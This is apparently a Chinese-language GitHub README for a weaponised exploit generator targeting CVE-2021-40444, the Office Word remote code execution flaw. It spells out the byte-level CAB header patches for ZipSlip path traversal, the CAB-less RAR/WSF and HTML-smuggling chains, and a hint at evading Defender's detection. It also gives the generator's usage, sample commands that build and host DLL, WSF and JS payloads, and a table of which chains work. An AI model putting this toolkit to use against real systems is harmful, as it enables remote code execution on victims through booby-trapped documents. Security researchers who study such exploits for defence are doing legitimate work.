
用于利用 CVE-2021-40444(Microsoft Office Word 远程代码执行)的恶意 docx 生成器,可配合任意 DLL 文件使用。
尽管互联网上已经有很多 PoC,我还是想亲自尝试武器化这个漏洞,因为我发现现有的资料缺少值得分享的有价值信息,而且微软已经为此漏洞发布了补丁。
到目前为止,我见过的能够创建完全可用的生成器的有价值资源只有:
上述资源概述了构建完整利用链所需的许多要求。为避免重复太多不必要的信息,我只总结相关细节。
要让这个漏洞利用正常工作,有很多容易被忽略的要求,这导致即使是优秀的 PoC(例如 lockedbyte 的这个)也无法正常工作。
也许没有人明确“公开”这些细节,是为了避免该漏洞被更多人利用。但现在补丁已经发布,公开这些细节应该不会造成太大麻烦。
根据 Will Dormann 的这条 推文所述,HTML 的大小应至少为 4096 字节,才能触发 MS Word 中的“预览”。
CAB 文件需要进行字节级修补,以避免解压错误并实现 ZipSlip:
filename.inf 应变为 ../filename.inffilename.inf coffCabStartCFFOLDER.typeCompress CFFOLDER.coffCabStart 应增加 3(因为添加了 '../')CFFOLDER.cCfData CFFILE.cbFile 应大于整个 CFHEADER.cbCabinetCFDATA.csum 这些约束背后的原因很多,我没有花足够的时间去深入理解全部,但让我们看看最重要的几点:
注意1:Defender 现在通过使用 _IMAGE_DOS_HEADER.e_magic 值作为签名来检测 CAB 文件是否包含 PE,这可能会阻止 PE 文件被嵌入 CAB 中。这个签名能被绕过吗?我不确定,但如前所述,这是一个已修补的漏洞,所以我不打算在这上面投入更多时间。由好奇的读者来进一步研究吧。
注意2:微软补丁阻止任意 URI 方案,似乎使用了黑名单方法(这只是一个猜测)
与 CVE-2021-40444 相关的主要攻击链是通过 .cpl URI 方案加载的 DLL 攻击。为了利用该漏洞,攻击者需要生成一个特制的 DLL。如果你想测试,可以试试我的 evildll-gen 脚本。
正如 Max Maluin 所指出的,滥用 IE 以及基于文件扩展名的关联 URI,可以与多种文件类型交互。虽然这可能是利用 IE 的一个好方法,但它也有局限性。
事实上,应该注意,该漏洞利用中用于下载文件的方法是基于 ActiveX 控件更新,不能用于下载任意文件。
根据微软 文档,codebase 标签只能指向少数文件类型:OCX、INF 和 CAB。
即使我们可以直接下载 OCX 或 INF 文件,我们仍然无法确保将文件下载到系统中的正确位置。借助 CAB 漏洞利用,可以通过路径遍历将 .inf 文件移动到已知路径,但在任何其他情况下,文件都会被存储在随机目录中,使得几乎不可能引用它。
到目前为止,我还没有找到一种无需 CAB 文件即可将下载和执行串联起来的方法。
注意:单独讨论 IE 时,HTML 走私可能是利用该漏洞的一种可行方案。
该技术首先由 Eduardo Braun 在 Twitter 上公开,并在 这篇论文 中进一步解释。
请注意,使用该技术时,攻击链略有不同。此攻击要求用户下载一个特制的 RAR 文件,该文件通过将一个有效的 WSF 脚本和一个有效的 RAR 文件链接在一起获得。一旦打开,RAR 中将包含一个 DOCX,其中引用了 HTML,HTML 又会尝试将 RAR 文件作为 WSF 脚本加载。
总结如下:
生成器工具目前可以复现以下攻击:
1在某些环境中,CAB 无法被正确下载
2用户需要在 IE 中点击“保存”才能下载文件
工具 cab_parser.py 可用于查看漏洞利用文件的头部,但不要把它当作完整的解析器。它是我为了弄明白发生了什么而开发的一个非常快速且简陋的 CAB 头部查看器。
生成器设计为在 Windows 上运行,因为它使用 makecab 工具。使用前,请确保安装所需依赖:
git clone https://github.com/klezVirus/CVE-2021-40444
cd CVE-2021-40444
pip install virtualenv
python -m virtualenv venv
venv\Scripts\activate.bat
pip install -r requirements
git clone https://github.com/klezVirus/CVE-2021-40444
cd CVE-2021-40444
pip install -r requirements
生成器使用起来很简单,尽管它已经用多种不同的载荷和 Windows 版本测试过,但并非万无一失。我在不同的 Windows 版本上遇到了不同的行为。一旦有更多细节可以分享,我会发布在这里。
usage: generator.py [-h] -P PAYLOAD -u URL [-o OUTPUT] [--host] [-c COPY_TO] [-nc] [-t]
[%] CVE-2021-40444 - MS Office Word RCE Exploit [%]
optional arguments:
-h, --help show this help message and exit
-P PAYLOAD, --payload PAYLOAD
DLL payload to use for the exploit
-u URL, --url URL Server URL for malicious references (CAB->INF)
-o OUTPUT, --output OUTPUT
Output files basename (no extension)
--host If set, will host the payload after creation
-c COPY_TO, --copy-to COPY_TO
Copy payload to an alternate path
-nc, --no-cab Use the CAB-less version of the exploit
-t, --test Open IExplorer to test the final HTML file
python generator.py -u http://127.0.0.1 -P test\calc.dll --host
注意:端口由 URL 确定,漏洞利用文件根据载荷文件的扩展名生成
python generator.py -u http://127.0.0.1 -P test\job-jscript.wsf --no-cab --host -t
python generator.py -u http://127.0.0.1 -P test\calc.js --no-cab --host -t
| 攻击 | HTML 模板 | 目标 | 投递方式 | 执行方式 | 是否可用 |
|---|
| 原始版本的攻击 | cab-orig-* | WORD | DOCX | CAB + DLL | 是 |
| j00sean 仅 IE 攻击 | cab-orig-j00san | IE | HTML | CAB + DLL | 是 |
| 我的无 DLL 版本 | cab-uri-* | WORD | DOCX | CAB + JS/VBS | 否1 |
| Eduardo B. 使用 RAR 的 "CABless" 攻击 | cabless-rar-* | WORD | RAR | WSF | 是 |
| 修改后的 j00sean 攻击 + HTML 走私 | cabless-smuggling-* | IE | HTML | JS/VBS | 是2 |